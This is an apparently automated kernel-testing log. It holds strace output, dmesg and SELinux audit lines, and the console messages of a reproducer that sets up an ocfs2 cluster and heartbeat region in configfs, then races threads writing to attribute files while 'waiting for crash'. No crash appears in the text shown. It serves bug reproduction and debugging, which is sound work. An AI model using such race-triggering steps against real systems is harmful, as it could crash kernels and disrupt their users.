[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5857] write(1, "[+] configfs mounted or already mounted.\n[+] Created mycluster.\n[+] Created mynode.\n[-] Failed to wr"..., 819 <unfinished ...>
[+] configfs mounted or already mounted.
[+] Created mycluster.
[+] Created mynode.
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/num: Invalid argument
[+] Wrote '7777
' to /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port
[+] Wrote '127.0.0.1
' to /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/local: Invalid argument
[+] Created myregion.
[+] Wrote '1
' to /sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks
[+] Wrote '1
' to /sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block
[+] Opened block device, fd=3
[+] Wrote '1024
' to /sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes
[+] Opened dev attr twice.
[+] Threads started. Waiting for crash...
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5857] <... write resumed>)        = 819
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5857] exit_group(0 <unfinished ...>
[pid  5872] ???( <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5857] <... exit_group resumed>)   = ?
[pid  5872] <... ??? resumed>)          = ?
[pid  5871] +++ exited with 0 +++
[pid  5872] +++ exited with 0 +++
+++ exited with 0 +++
[   71.820194][ T1374] ieee802154 phy0 wpan0: encryption failed: -22
[   71.822379][ T1374] ieee802154 phy1 wpan1: encryption failed: -22
 TestError:]

169/3 2026/09/04 20:56 action truncate-log
0m Results:
map[TruncatedConsoleOutput:[   61.683357][   T33] audit: type=1400 audit(1788555259.586:203): avc:  denied  { transition } for  pid=5819 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   61.690905][   T33] audit: type=1400 audit(1788555259.586:204): avc:  denied  { noatsecure } for  pid=5819 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   61.697902][   T33] audit: type=1400 audit(1788555259.586:205): avc:  denied  { rlimitinh } for  pid=5819 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   61.704132][   T33] audit: type=1400 audit(1788555259.586:206): avc:  denied  { siginh } for  pid=5819 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   64.085305][   T33] audit: type=1400 audit(1788555261.986:207): avc:  denied  { write } for  pid=5827 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   64.124375][   T33] audit: type=1400 audit(1788555262.026:208): avc:  denied  { write } for  pid=5830 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   64.194924][   T33] audit: type=1400 audit(1788555262.096:209): avc:  denied  { write } for  pid=5834 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   64.238075][   T33] audit: type=1400 audit(1788555262.136:210): avc:  denied  { write } for  pid=5838 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
Warning: Permanently added '[localhost]:41941' (ED25519) to the list of known hosts.
[   64.577197][   T33] audit: type=1400 audit(1788555262.476:211): avc:  denied  { mounton } for  pid=5846 comm="syz-executor240" path="/sys/kernel/config" dev="configfs" ino=1116 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   64.586101][ T5846] audit: audit_backlog=65 > audit_backlog_limit=64
[   66.835840][   T33] kauditd_printk_skb: 76 callbacks suppressed
[   66.835849][   T33] audit: type=1400 audit(1788555264.736:286): avc:  denied  { write } for  pid=5867 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   66.917912][   T33] audit: type=1400 audit(1788555264.816:287): avc:  denied  { write } for  pid=5870 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   67.039560][   T33] audit: type=1400 audit(1788555264.936:288): avc:  denied  { write } for  pid=5873 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   67.117416][   T33] audit: type=1400 audit(1788555265.016:289): avc:  denied  { write } for  pid=5876 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   67.221783][   T33] audit: type=1400 audit(1788555265.116:290): avc:  denied  { write } for  pid=5879 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   67.304324][   T33] audit: type=1400 audit(1788555265.206:291): avc:  denied  { write } for  pid=5882 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[+] configfs mounted or already mounted.
[+] Created mycluster.
[+] Created mynode.
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/num: Invalid argument
[+] Wrote '7777
' to /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port
[+] Wrote '127.0.0.1
' to /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/local: Invalid argument
[+] Created myregion.
[+] Wrote '1
' to /sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks
[+] Wrote '1
' to /sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block
[+] Opened block device, fd=3
[+] Wrote '1024
' to /sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes
[+] Opened dev attr twice.
[+] Threads started. Waiting for crash...
[   71.554541][ T1375] ieee802154 phy0 wpan0: encryption failed: -22
[   71.557436][ T1375] ieee802154 phy1 wpan1: encryption failed: -22
 TruncatedCrashReport: TruncatedStraceOutput:[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
